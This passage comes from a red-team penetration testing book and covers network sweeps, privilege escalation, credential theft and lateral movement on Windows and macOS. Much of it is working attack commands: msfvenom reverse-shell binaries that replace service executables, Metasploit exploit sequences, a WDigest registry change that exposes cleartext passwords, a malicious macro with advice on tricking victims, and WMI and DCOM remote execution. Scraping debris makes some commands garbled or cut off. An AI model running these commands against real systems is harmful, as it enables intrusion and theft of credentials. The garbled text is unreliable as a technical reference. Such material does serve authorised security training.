ww
Scanning the Network with CrackMapExec (CME)
If we don’t have a compromised system yet, but we did gain credentials through
Responder, misconfigured web app, bruteforcing, or a printer, then we can try to sweep the
network to see where this account can log in. A simple sweep using a tool like
CrackMapExec (cme) can assist in finding that initial point of entry on the internal
network.
co
Historically, we have used CME to scan the network, identify/authenticate via SMB on the
network, execute commands remotely to many hosts, and even pull clear text creds via
Mimikatz. With newer features in both Empire and CME, we can take advantage of
a.
Empire’s REST feature. In the following scenario, we are going to spin up Empire with its
REST API, configure the password in CME, have CME connect to Empire, scan the
network with the single credential we have, and finally, if we do authenticate,
ag
automatically push an Empire payload to the remote victim’s system. If you have a
helpdesk or privileged account, get ready for a load of Empire shells!
rm
Start Empire’s REST API server
cd /opt/Empire
ba
password=hacktheuniverse
Run CME to spawn Empire shells
cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u
‘<username>’ -p ‘<password>’ -M empire_exec -o
ar
LISTENER=http
le
w.
ww
After Compromising Your Initial Host
After you have gained access to a host via social engineering, drop boxes, responder,
attacking printers or other attacks, what do you do next? That is always the million dollar
question.
m
In the past, it was all about understanding where you are and your immediate surrounding
network. We may initially run commands similar to “netstat -ano” to find the locations of
co
our IP ranges of the victim’s servers, domains, and user. We can also run commands like
“ps” or “sc queryex type= service state= all | find “_NAME”” to list all the running
services and look for AV or other host base protections. Here are some other example
a.
commands we might initially run:
ag
Network information:
netstat -anop | findstr LISTEN
net group “Domain Admins” /domain
rm
Process List:
ba
tasklist /v
-
sysinfo
Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv
c:\temp\os.txt
ea
Information From Shares/Mounted Drives:
powershell -Command “get-WmiObject -class Win32_Share”
powershell -Command “get-PSDrive”
powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk |
select Name, ProviderName”
Let’s be real here, no one has time to remember all of these commands, but we are in
luck! I believe, based on the RTFM book (great resource), leostat created a quick Python
script that has a ton of these handy commands easily searchable in a tool called rtfm.py
(https://github.com/leostat/rtfm).
Update and Run RTFM
cd /opt/rtfm
om
chmod +x rtfm.py
./rtfm.py -u
./rtfm.py -c ‘rtfm’
.c
Search all Tags
./rtfm.py -Dt
Look at all the queries/commands per tag. One I like to use is the
ga
Enumeration category
./rtfm.py -t enumeration | more
ma
ar
n -b
ar
le
w.
ww
Now, RTFM is pretty extensive and has a lot of different helpful commands. This is a
great quick resource during any campaign.
These are all the things we have been doing forever to get information, but what if we
could get much more from the environment? Using PowerShell, we can gain the
network/environment information that we need. Since PowerShell can be easily executed
from any of the C2 tools, you can use Empire, Metasploit, or Cobalt Strike to perform
these labs. In the following examples, we will be using Empire, but feel free to try other
tools.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Privilege Escalation
There are plenty of different ways to go from a regular user to a privileged account.
Unquoted Service Paths:
This is a fairly easy and common vulnerability where the service executable
m
path is not surrounded by quotes. This is abused because, without quotes
co
around the path, we can abuse a current service. Let’s say we have a service
that is configured to execute C:\Program Files (x86)\Cyber Kittens\Cyber
Kittens.exe. If we have write permissions into the Cyber Kittens folder, we
a.
can drop malware to be located at C:\Program Files (x86)\Cyber
Kittens\Cyber.exe (notice that Kittens.exe is missing). If the service runs at
system, we can wait until the service restarts, and have our malware run as a
ag
privileged account.
How to Find Vulnerable Service Paths:
wmic service get name,displayname,pathname,startmode |findstr /i
“Auto” |findstr /i /v “C:\Windows\” |findstr /i /v ”””
rm
Look for BINARY_PATH_NAME
ba
Check if the AlwaysInstallElevated registry key is enabled:
ar
Note that we don’t really have to do these manually as a few good Metasploit and
w.
PowerShell modules have been created especially for Windows. In the following
example, we are going to take a look at PowerUp PowerShell script
(https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/PowerUp.ps1
ww
In this case, the script is in conjunction with Empire and will run all common areas of
misconfiguration that allow for a regular user to get a local administrative or system
account. In the example below, we ran this on our victim system and saw that it had some
unquoted service paths for localsystem. Now, we might not be able to restart the service,
but we should be able to abuse the vulnerability and wait for a reboot.
Empire PowerUp Module:
usermodule privesc/powerup/allchecks
m
co
a.
ag
rm
What sticks out right away:
ba
ServiceName : WavesSysSvc
n-
ModifiableFileIdentityReference : Everyone
StartName : LocalSystem
w.
It looks like the WavesSysSyc service is writeable by everyone. That means we can
replace the WaveSysSvc64.exe file with a malicious binary of our own:
ww
Create a Meterpreter Binary (will discuss later how to get around AV)
msfvenom -p windows/meterpreter/reverse_https LHOST=[ip]
LPORT=8080 -f exe > shell.exe
Upload the binary using Empire and replace the original binary
upload ./shell.exe C:\users\test\shell.exe
shell copy C:\users\test\Desktop\shell.exe “C:\Program
Files\Waves\MaxxAudio\WavesSysSvc64.exe”
Restart Service or wait for a reboot
Once the service restarts, you should get your Meterpreter shell back as system! Using
PowerUp, you will find many different services that are potentially vulnerable to privilege
escalation. If you want a deeper primer on the underlying issues with Windows privesc,
check out FuzzSecurity’s article: http://www.fuzzysecurity.com/tutorials/16.html.
co
For unpatched Windows systems, we do have some go-to privilege escalation attacks like
(https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1)
and (https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-
a.
Exploits/MS16-135), but how do we quickly identify what patches are installed on a
Windows system? We can use default commands on our victim system to see what
service packages are installed. Windows comes with a default command “systeminfo”
that will pull all the patch history for any given Windows host. We can take that output,
ag
push it to our Kali system and run Windows Exploit Suggester to find known exploits
against those vulnerabilities. rm
Back on your Windows 10 Victims system:
systeminfo
ba
mssb.xls
ar
le
w.
ww
This tool hasn’t been actively maintained in a little while, but you can easily add the
privilege escalation vulnerabilities you are looking for.
In cases where we are in a completely patched Windows environment, we focus on
different privilege escalation vulnerabilities in third party software or any 0-day/new
vulnerabilities for the OS. For example, we are constantly looking for vulnerabilities like
this, http://bit.ly/2HnX5id, which is a Privilege Escalation in Windows that looks like it is
not patched at this time. Usually in these scenarios, there might be some basic POC code,
but it is up to us to test, validate, and many times finish the exploit. Some of the areas we
regularly monitor for public privilege escalations vulnerabilities:
http://insecure.org/search.html?q=privilege%20escalation
https://bugs.chromium.org/p/project-zero/issues/list?
can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summa
om
Often, it is just about timing. For example, when a vulnerability is discovered, that may be
your limited window of opportunity to further compromise the system before it is
patched.
.c
ga
The best lab to test and try different privilege escalation vulnerabilities is Metasploitable3
(https://github.com/rapid7/metasploitable3) by Rapid7. This vulnerable framework
a
automatically builds a Windows VM with all the common and some uncommon
vulnerabilities. It does take a bit to set up, but once the VM is configured, it is a great
rm
testing lab.
ba
search manageengine
use exploit/windows/http/manageengine_connectionid_write
set SSL True
le
getsystem
You will notice that you cannot get to system because the service you
compromised is not running as a privileged process. This is where you can
try all different privilege escalation attacks.
ww
m
search tomcat
use exploit/multi/http/tomcat_mgr_upload
co
show options
set HTTPusername sploit
set HTTPpassword sploit
a.
set RPORT 8282
set RHOST <Metasploitable3_IP>
set Payload java/shell_reverse_tcp
ag
set LHOST <Your IP>
exploit
whoami rm
You should now be System. We took advantage of a third party tool to
privilege escalate to System.
ba
changed the game in terms of getting passwords in clear text. Prior to Windows 10,
running Mimikatz on a host system as a local administrator allowed an attacker to pull out
clear text passwords from LSASS (Local Security Authority Subsystem Service). This
ar
worked great until Windows 10 came along and made it inaccessible to read from, even as
local admin. Now, there are some odd use cases I have seen where Single Sign-On (SSO)
or some unique software puts the passwords back in LSASS for Mimikatz to read, but we
le
will ignore this for now. In this chapter, we are going to talk about what to do when it
doesn’t work (like Windows 10).
w.
Let’s say you have compromised a Windows 10 workstation and privilege escalated to a
local admin. By default, you would have spun up Mimikatz and, per the query below, see
that the password fields are NULL.
ww
om
.c
ga
ma
ar
-b
So what can you do? The easiest option is to set the registry key to put the passwords
back in LSASS. Within HKLM there is a UseLogonCredential setting that if set to 0, will
store credentials back in memory (http://bit.ly/2vhFBiZ):
n
reg add
ar
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
In Empire, we can run this via the shell command:
le
The problem with this setting is that we will need the user to re-login to the system. You
could cause a screen timeout, reboot, or logoff, so that you will be able to capture clear
ww
text credentials again. The easiest way though is to lock their workstation (so they don’t
lose any of their work … see how nice we are?). To trigger a lock screen:
rundll32.exe user32.dll,LockWorkStation
Once we cause the lock screen and have them re-log back in, we can re-run Mimikatz with
clear text passwords.
m
co
a.
ag
rm
ba
What if we can’t get to a local administrative account? What are some other options we
have to get a user’s credentials? Back in the day, a common pentesting attack was to look
in userland memory at thick clients to see if credentials were stored in clear text. Now
n-
This is where putterpanda put a cool POC style tool together to accomplish just this, called
Mimikittenz (https://github.com/putterpanda/mimikittenz). What Mimikittenz does is it
utilizes the Windows function ReadProcessMemory() in order to extract plain-text
le
Outlook Web, Jira, Github, Bugzilla, Zendesk, Cpanel, Dropbox, Microsoft OneDrive,
AWS Web Services, Slack, Twitter, and Facebook. It is also easy to write your search
expressions within Mimikittenz.
ww
The best part of this tool is that it does not require local administrative access as it is all
userland memory. Once we have compromised a host, we will import Mimikittenz into
memory, and run the Invoke-mimikittenz script.
m
co
a.
As seen above, the user had Firefox logged into Github and we were able to pull their
username and password from the browser’s memory. Now, I hope everyone can take this
ag
tool to the next level and create more search queries for different applications.
rm
Getting Passwords from the Windows Credential Store and Browsers
The Windows Credential Store is a default feature of Windows that saves usernames,
passwords, and certificates for systems, websites, and servers. When you have
ba
authenticated into a website using Microsoft IE/Edge, you normally get a pop-up that asks
“do you want to save your password?” The Credential Store is where that information is
stored. Within the Credential Manager, there are two types of credentials: Web and
n-
Windows. Do you remember which user has access to this data? It is not system, but the
user who is logged in who can retrieve this information. This is great for us, as with any
phish or code execution, we are usually in rights of that person. The best part is that we
r
How can we pull this information? There are two different PowerShell scripts we can
import to gather this data:
Gathering Web Credentials:
https://github.com/samratashok/nishang/blob/master/Gather/Get-
WebCredentials.ps1
Gathering Windows Credentials (Only does type Generic not Domain):
https://github.com/peewpw/Invoke-
WCMDump/blob/master/Invoke-WCMDump.ps1
co
a.
ag
rm
ba
n-
As you can see from the dump, we pulled both their Facebook-stored credential and any
generic credentials they have. Remember, for the web credentials, Get-WebCredentials
will only get passwords from Internet Explorer/Edge. If we need to get it from Chrome,
ar
learn a great deal about their internal servers, but also, if their sessions are still alive, we
can use their cookies and authenticate without ever knowing their passwords!
w.
ga
Next, we can even start looking for servers and credentials in all the third party software
that might be installed on the victim’s system. A tool called SessionGopher
(https://github.com/fireeye/SessionGopher) can grab hostnames and saved passwords from
ma
WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. One of the
other included features also included is the ability to remotely grab local credentials off
other systems on the network. The easiest way to launch SessionGopher is to import the
ar
PowerShell script and execute using:
Load PowerShell File:
. .\SessionGopher.ps1
-b
Execute SessionGopher
Invoke-SessionGopher -Thorough
n
ar
These are just a few ways we can get credentials from the host system without ever
privilege escalating, bypassing UAC, or turning on a keylogger. Since we are in context
of the user, we have access to many of the resources on the host machine to help us
continue our path to exploitation.
le
Getting Local Creds and Information from OSX
w.
Most of the lateral movement within the THP focuses on Windows. This is because
almost all of the medium to large environments utilize Active Directory to manage their
ww
systems and hosts. We do come across Macs more and more each year and want to make
sure to include them as well. Once inside an environment, many of the attacks are similar
to those in the Window’s world (i.e. scanning for default creds, Jenkin/Application attacks,
sniffing the network, and laterally moving via SSH or VNC).
There are a few payloads that support Macs and one of my favorites is using Empire.
Empire can generate multiple payloads to trick your victim into executing our agents.
These include ducky scripts, applications, Office macros, Safari launchers, pkgs, and
more. For example, we can create an Office Macro similar to what we have done in
Windows in PowerShell Empire:
1. Launch Empire
2. First, make sure to set up your Empire Listener as we did at the beginning of
the book
3. Next, we need to build an OSX Macro payload
m
1. usestager osx/macro
co
4. Set an OutFile to write to your local file system
1. set OutFile /tmp/mac.py
5. Generate the Payload
a.
ag
rm
ba
n-
If you take a look at the generated Office macro, you will see that it is just Base64 code
that is executed by Python. Luckily for us, Python is a default application on Macs and
ar
Tools, View Macros, Create a Macro in This Workbook, and once Microsoft Visual Basic
opens up, delete all current code and replace it with all your new Macro code. Finally,
save it as an xlsm file.
w.
ww
Now, send off your Malicious file to your victim and watch the Empire agents roll in. On
the victim side, once they open the Excel file, it will look something like this:
m
co
a.
ag
Make sure you create a reasonable story to have them click Enable Macros.
rm
Once your agent connects back to your Empire server, the reconnaissance phase it pretty
similar. We are going to need to:
Dump Brower information and passwords: usemodule
ba
collection/osx/browser_dump
Enable a Keylogger: usemodule collection/osx/keylogger
Cause an App prompt for password capture: usemodule collection/osx/prompt
n-
m
Now that you have compromised your victim, stolen all the secrets from their workstation,
co
learned about some of the sites your victim browses, and run some netstat style recon…
what’s next?
a.
For a Red Teamer, it is really about finding reliable information on servers, workstations,
users, services, and about their Active Directory environment. In many cases, we can’t
ag
run any vulnerability scans or even an nmap scan due to the risk of getting alerted/caught.
So, how can we utilize “features” of the networks and services to find all the information
we need? rm
Service Principal Names, or SPN, is a feature in Windows that allows a client to uniquely
identify the instance of a service. SPNs are used by Kerberos authentication to associate a
service instance with a service logon account [https://msdn.microsoft.com/en-
n-
domain user account can query AD for all the service accounts/servers that are associated
with Active Directory. We can identify all the databases and web servers without having
to scan a single host!
le
As an attacker, we can take advantage of these “features” to query Active Directory. From
w.
any domain-joined computer, an attacker can run the setspn.exe file to query AD. This
file is a default Windows binary and is on all modern Windows systems.
setspn -T [DOMAIN] -F -Q */*
ww
Switches:
-T = Perform query on the specified domain
-F = Perform queries at the AD forest, rather than domain level
-Q = execute on each target domain or forest
*/* = Everything
What type of information do we see from setspn? Below, running the setspn command,
we see information about the services running on the domain controller, information about
a workstation, and we also found a server named CSK-GITHUB. In this example, we can
see that there is an HTTP service running on that host machine. If this had been on a
different port, but still the same protocol, that information would have been listed as well.
m
co
a.
ag
rm
Setspn will not only provide useful information about service users and all the hostnames
in AD, but it will also tell us which services are running on the systems and even the port.
Why do we need to scan the network if we can get most of the information directly from
ba
AD for services and even ports? What are some of the things that you might attack right
away? Jenkins? Tomcat? ColdFusion?
n-
only to be told by IT that it is just a domain user account with no other privileges and not
ea
to worry. We have found these types of accounts on printers, shared kiosk workstations,
flat file texts with passwords for services, configurations files, iPads, web apps that have
the passwords within the source of the page, and so much more. But what can you do
with a basic domain user account with no other group memberships?
l
w.
co
a.
ag
rm
ba
n-
Next, we want to query information from the domain without raising too much suspicion.
We can use the PowerView tools within Empire to get information. PowerView queries
ar
the Domain Controller (DC) to get information on users, groups, computers, and more.
The PowerView features that we will be using will only query the Domain Controller and
should look like normal traffic.
le
What modules are available under Empire for situational awareness?
w.
ww
We can start with the PowerView script called get_user. Get_user queries information for
a given user or users in the specified domain. By using the default settings, we can get a
dump of all information about users in AD and associated information.
Module: situational_awareness/network/powerview/get_user
m
co
a.
ag
rm
ba
In the dump above, we can see information on one of the users, Purri Gagarin. What type
of information did we get? We can see their samaccountname or username, when their
n-
password was changed, what their object category is, what membersof they are part of,
last login, and more. With this basic user dump, we can get significant amount of
information from the directory service. What other type of information can we get?
ar
Module: situational_awareness/network/powerview/get_group_member
le
Get_group_member returns the members of a given group, with the option to “Recurse” to
find all effective group members. We can use AD to find specific users of certain groups.
w.
For example, with the following Empire settings, we can search for all Domain Admins
and groups that are part of the Domain Admin group:
info
ww
Module: situational_awareness/network/powerview/get_computer
Description: The get_computer module queries the domain for current computer objects.
n-
ar
le
w.
ww
m
co
a.
ag
rm
ba
What information do we gain from having get_computer querying the Domain
n-
Controller? Well, we see that we gained information about the machine, when it was
created, DNS hostnames, the distinguished names, and more. As an attacker, one of the
most helpful recon details is obtaining operating system types and operating system
ar
versions. In this case, we can see that these systems are on Windows 10 and on Build
16299. We can take this information and find out how recent the OS is and if they are
being actively patched on Microsoft’s release info page: https://technet.microsoft.com/en-
le
us/windows/release-info.aspx.
w.
Bloodhound/Sharphound
How can we take all the information we gathered from our reconnaissance phase to create
a path of exploitation? How can we easily and quickly correlate who has access to what?
ww
Back in the day, we used to just try and compromise everything to get to where we want,
but that always increased the likelihood of getting caught.
Andrew Robbins, Rohan Vazarkar, and Will Schroeder have created one of the best tools
for correlation called Bloodhound/Sharphound. Per their Github page, “BloodHound uses
graph theory to reveal the hidden and often unintended relationships within an Active
Directory environment. Attackers can use BloodHound to easily identify highly complex
attack paths that would otherwise be impossible to quickly identify. Defenders can use
BloodHound to identify and eliminate those same attack paths. Both blue and red teams
can use BloodHound to easily gain a deeper understanding of privilege relationships in an
Active Directory environment.” [https://github.com/BloodHoundAD/BloodHound]
Bloodhound works by running an Ingestor on a victim system, and then queries AD
(similar to what we previously did manually) for users, groups, and hosts. The Ingestor
m
will then try to connect to each system to enumerate logged in users, sessions, and
co
permissions. Of course, this is going to be pretty loud on the network. For a medium-
large sized organization on the default setting (which can be modified), it can take less
than 10 minutes to connect to every host system and query information using
a.
Sharphound. Note, since this touches every domain-joined system on the network, it
could get you caught. There is a Stealth option in Bloodhound that will only query Active
Directory and not connect to every host system, but the output is pretty limited.
ag
There are currently two different versions (of which I’m sure the old one will soon be
removed):
rm
Inside Empire, you can use the module:
usemodule situational_awareness/network/bloodhound
ba
This still uses the old PowerShell version that is very slow
The better option is Sharphound. Sharphound is the C# version of the original
Bloodhound Ingester. This one is much faster and stable. This can be used as
a stand-alone binary or imported as a PowerShell script. The Sharphound
n-
PowerShell script will use reflection and assembly.load to load the compiled
BloodHound C# ingestor into memory.
https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors
ar
To run the Bloodhound/Sharphound Ingestor, there are multiple CollectionMethods you
le
m
SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group
co
Once Bloundhound/Sharphound is finished, four files will be dropped onto the victim
a.
system. Grab those files and move them onto your Kali box. Next, we need to start our
Neo4j server and import this data to build our correlation graphs.
ag
Start Bloodhound
1. apt-get install bloodhound rm
2. neo4j console
3. Open Browser to http://localhost:7474
1. Connect to bolt://localhost:7687
2. Username: neo4j
ba
3. Password: neo4j
4. Change Password
4. Run Bloodhound at a Terminal:
n-
1. bloodhound
2. Database URL: bolt://127.0.0.1:7687
3. Username: neo4j
ar
If you don’t have a domain to test this on, I have uploaded the four Bloodhound files here:
https://github.com/cyberspacekittens/bloodhound, so that you can repeat the exercises.
ww
Once inside Bloodhound and all the data is imported, we can go to the Queries to look at
the “Find Shorted Paths to Domain Admin”. We can also pick specific users and see if
we can map a path to that specific user or group. In our case, the first box we
compromised is [email protected]. In the search
bar, we insert that user, click the “Pathfinding” button, and type “Domain Admin” (or any
other user) to see if we can route a path between these objects.
m
co
As you can see from Neil’s machine, we can pivot all the way to the CSK-Lab. Once on
the lab box, there is a user called Purri, who is a member of the HelpDesk group.
a.
ag
rm
ba
r n-
ea
If we can compromise the Helpdesk group, we can pivot to Chris’ system, who also has
w.
Elon Muskkat currently logged in. If we can migrate to his process or steal his clear text
password, we can elevate to Domain Admin!
ww
From large networks, we have noticed limitations and searching issues with the
Bloodhound queries. One great benefit of using Neo4j is that it allows for raw queries
through its own language called Cypher. An in-depth look into Cypher for custom queries
can be found here: https://blog.cptjesus.com/posts/introtocypher.
What kind of custom queries can we add? Well, @porterhau5 has made some great
progress in extending Bloodhound to track and visualize your compromises. Check out
their article here: https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-
your-compromise/.
From a high level, @porterhau5 added the idea of tagging compromised hosts to help
facilitate better pivoting through the environment. For example, in this fake scenario, we
compromised the initial user by phishing the user niel.pawstrong. Using the Cypher
language and Raw Query feature on the Bloodhound app, we can run these queries:
m
Adding an Owned Tag to a Compromised System:
MATCH (n) WHERE
co
n.name=“[email protected]”
SET n.owned=“phish”, n.wave=1
Running a Query to show all owned systems that were phished
a.
MATCH (n) WHERE n.owned=“phish” RETURN n
ag
Now, we can add some custom queries to Bloodhound. On the Queries tab of
Bloodhound, scroll to the bottom and click the edit button next to “Custom Queries”.
Replace all the text with the contents from: rm
https://github.com/porterhau5/BloodHound-
Owned/blob/master/customqueries.json
ba
After we save, we should have many more queries created. We can now click on “Find
Shortest Path from owned node to Domain Admin”.
n-
ar
le
w.
ww
If you want to look into this more closely, check out @porterhau5’s forked version of
Bloodhound. It makes tagging compromised machines much prettier and allows for more
custom functionality: https://github.com/porterhau5/BloodHound-Owned.
So far, without scanning, we have been able to gain a great deal of information about the
organization. This is all with rights as the local AD user (domain users) and for the most
part, none of the network traffic looks too suspicious. As you can see, we were able to do
all this without being a local administrator or having any administrative rights on the local
system.
om
Advanced ACL/ACE Bloodhound
When using Bloodhound’s Collection Method Access Control List (ACL) type, our script
.c
will query AD to gather all the access control permissions on users/objects. The
information we gather from Access Control Entries (ACEs) describes the allowed and
denied permissions for users, groups, and computers. Finding and abusing ACEs can be
ga
an entire book on its own, but here are a couple of good starting resources:
BloodHound 1.3 – The ACL Attack Path Update
https://wald0.com/?p=112
ma
Introducing the Adversary Resilience Methodology
http://bit.ly/2GYU7S7
ar
What are we looking for when importing ACL data into Bloodhound? Bloodhound
identifies areas where weaknesses might exist in ACEs. This will include who has the
-b
ability to change/reset passwords, add members to groups, update objects like the
scriptPath for other users, update object or write a new ACE on an object, and more.
n
How might you use this? When compromising boxes and gaining additional credentials,
ar
we can target paths to find a user that has the ability to reset passwords or modify ACE
permissions. This will lead to creative ways to find paths to Domain Admin or privileged
accounts, and even allow for setting up backdoors to be used later. A great resource to
le
tokens of different users. This is nothing new, but heavily used to move laterally within an
environment. Usually from Bloodhound outputs or shared workstations, as attackers, we
need to be able to impersonate other users on our victim systems.
There are different ways to accomplish this using many of the tools we have. In terms of
Metasploit, we should all be pretty familiar with the Post Exploitation incognito
(https://www.offensive-security.com/metasploit-unleashed/fun-incognito/) to steal tokens.
In Empire, we can use steal_tokens to impersonate a user on that system. I have noticed
that sometimes stealing tokens can break our shells. To avoid this, we can inject a new
agent into a running process owned by a different user.
In the following image, we phished an employee who ran our malware. This allowed us
to run in a process owned by that victim user (neil.pawstrong). Once on that user’s box,
we pivoted to Buzz Clawdrin’s system and spawned a new agent with WMI (Windows
m
Management Instrumentation). The issue here is that we are still under the process of our
co
initial victim, neil.pawstrong, as we used our cached credentials to spawn a shell onto
Buzz’s host. Therefore, instead of stealing tokens, we should use Empire’s psinject
feature.
a.
PSInject in Empire “has the ability to inject an agent into another process using
ReflectivePick to load up the .NET common language runtime into a process and execute
ag
a particular PowerShell command, all without starting a new powershell.exe process!”
[http://bit.ly/2HDxj6x] We use this to spawn a brand new agent running as a process
owned by Buzz.Clawdrin, so that we can now get his access permissions.
rm
ba
r n-
l ea
w.
ww
Moving Laterally Off Your Initial Host
Now that you have found potential routes to move to, what are the options to gain code
execution to those systems? The most basic way is to use the permission of our current
Active Directory user to gain control of another system. For example, we might see a
manager who has full access to their subordinates’ machines, a conference/lab machine
with multiple users who have administrative privileges, a misconfiguration on internal
systems, or see that someone manually added a user to the local admin group on that PC.
These are some of the ways we see a user have remote access to other workstations on the
network. Once on a compromised machine, we can either take the results from
Bloodhound or rescan the network to see what machines we have local access on:
Empire Module:
m
situational_awareness/network/powerview/find_localadmin_access
co
Metasploit Module: http://bit.ly/2JJ7ILb
a.
Empire’s find_localadmin_access will query Active Directory for all hostnames and try to
connect to them. This is definitely a loud tool as it needs to connect to every host and
validate if it is a local administrator.
ag
rm
ba
As we can see, the find_localadmin_access module identified that our compromised user
does have access to the buzz.cyberspacekittens.local machine. This should be the same as
when we ran Bloodhound. To double check that we have access, I generally do non-
n-
interactive remote commands like dir \[remote system]\C$ and see that we have read/write
permission to the C drive.
ar
le
w.
ww
In terms of lateral movement, there are several options to choose from. Let’s first take a
peek at the ones in Empire as they are generally the most common (pulled straight from
Empire):
inveigh_relay: Inveigh’s SMB relay function. This module can be used to
relay incoming HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an
SMB target. If the authentication is successfully relayed and the account has
the correct privilege, a specified command or Empire launcher will be
executed on the target PSExec style.
invoke_executemsbuild: This function executes a powershell command on a
local/remote host using MSBuild and an inline task. If credentials are
provided, the default administrative share is mounted locally. This command
will be executed in the context of the MSBuild.exe process without starting
PowerShell.exe.
invoke_psremoting: Executes a stager on remote hosts using PSRemoting. As
long as the victim has psremoting enabled (not always available), we can
om
execute a PowerShell via this service.
invoke_sqloscmd: Executes a command or stager on remote hosts using
xp_cmdshell. Good ol’ xp_cmdshell is back!
invoke_wmi: Executes a stager on remote hosts using WMI. WMI is almost
.c
always enabled and this is a great way to execute your PowerShell payloads.
jenkins_script_console: Deploys an Empire agent to a windows Jenkins server
with unauthenticated access to script console. As we know, Jenkins servers
ga
are commonly seen and without credentials usually means full RCE through
the /script endpoint.
invoke_dcom: Invoke commands on remote hosts via MMC20.Application
lets you push out an ‘immediate’ scheduled task to a GPO that you can edit,
allowing for code execution on systems where the GPO is applied.
[http://www.harmj0y.net/blog/empire/empire-1-5/]
w.
These are just some of the easiest and most common techniques to move laterally. Later
ww
in the book, we will discuss some of the lesser common techniques to get around the
network. On most networks, Windows Management Instrumentation (WMI) is generally
enabled as it is required for management of workstations. Therefore we can use
invoke_wmi to move laterally. Since we are using cached credentials and our account has
access to the remote host, we don’t need to know the user’s credentials.
Execute on Remote System
usemodule lateral_movement/invoke_wmi
Set the Computer you are going to attack:
set ComputerName buzz.cyberspacekittens.local
Define which Listener to use:
set Listener http
Remotely connect to that host and execute your malware:
execute
m
Interact with the New Agent
agents
co
interact <Agent Name>
sysinfo
a.
ag
different shells using WMI, PowerShell Remoting, or PSExec. What if those methods are
being monitored? There are some cool Windows features that we can take advantage of
by using the Distributed Component Object Model (DCOM). DCOM is a Windows
-
You can list all of a machine’s DCOM applications using the PowerShell command: Get-
CimInstance Win32_DCOMApplication
ea
w .l
ww
Per @enigma0x3’s research (https://enigma0x3.net/2017/01/23/lateral-movement-via-
dcom-round-2/), he identified that there are multiple objects (for example,
ShellBrowserWindow and ShellWindows) that allows the remote execution of code on a
victim host. When listing all the DCOM applications (as seen as above), you will come
across a ShellBrowserWindow object with a CLSID of C08AFD90-F2A1-11D1-8455-
00A0C91F3880. With that object identified, we can abuse this feature to execute binaries
on a remote workstation as long as our account has access:
powershell
m
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-
co
F2A1-11D1-8455-
00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\
a.
This will only execute files locally on the system and we cannot include any command
line parameters to the executable (so no cmd /k style attacks). Instead, we can call files
from remote systems and execute them, but note that the user will get a pop-up warning.
ag
In this case, I am currently on a victim’s host neil.cyberspacekittens.local that has
administrative access to a remote workstation called buzz. We are going to share one
folder on neil’s workstation and host our malicious payload. Next, we can call the DCOM
rm
object to execute our hosted file on the remote victim’s (buzz) machine.
ba
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-
8455-
00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public
n-
ar
le
As you can see in the next image, a pop-up was presented on Buzz’s machine about
running an adobeupdate.exe file. Although most users would click and run this, it might
w.
get us caught.
ww
m
co
a.
ag
So, the better route to take to avoid this issue would be to move the file over (something
like mounting the victim’s drive) prior to using DCOM to execute that file. @enigma0x3
rm
took this even further and abused DCOM with Excel Macros. First, we would need to
create our malicious Excel document on our own system and then use the PowerShell
script (https://bit.ly/2pzJ9GX) to execute this .xls file on the victim host.
ba
One thing to note is that there are a multitude of other DCOM objects that can get
n-
information from systems, potentially start/stop services and more. These will definitely
provide great starting points for additional research on DCOM functionalities.
ar
Resources:
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
le
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-
and-dcom/
https://www.cybereason.com/blog/dcom-lateral-movement-techniques
w.
Pass-the-Hash
ww
The old way of Pass-The-Hash (PTH) of local admin accounts has started to disappear for
the most part. Although not completely gone, let’s quickly review it. PTH attacks utilize
the Windows NTLM hashes to authenticate to systems instead of using a user’s
credentials. Why is this important? First off, hashes are easily recoverable using tools
like Mimikatz, can be pulled for local accounts (but require local admin access), are
recoverable from dumping the domain controller (not clear text passwords), and more.
The most basic use of PTH is attacking the local administrator. This is generally rare to
find due to the fact that, by default, the local admin account is now disabled and newer
security features have surfaced, such as Local Administrator Password Solution (LAPS)
which creates random passwords for each workstation. In the past, getting the hash of the
local admin account on one workstation was identical across the organization, meaning
one compromise took out the whole company.
Of course, the requirements for this are that you have to be a local administrator on the
m
system, that the local administrator account “administrator” is enabled, and that it is the
co
RID 500 account (meaning it has to be the original administrator account and cannot be a
newly created local admin account).
a.
Command: shell net user administrator
User name Administrator
ag
Full Name
Comment Built-in account for administering the computer/domain
rm
User’s comment
Country/region code 000 (System Default)
ba
If we see that the account is active, we can try to pull all the hashes from the local
machine. Remember that this won’t include any domain hashes:
ar
Example:
(Empire: powershell/credentials/powerdump) > execute
w.
Output:
Administrator:500:
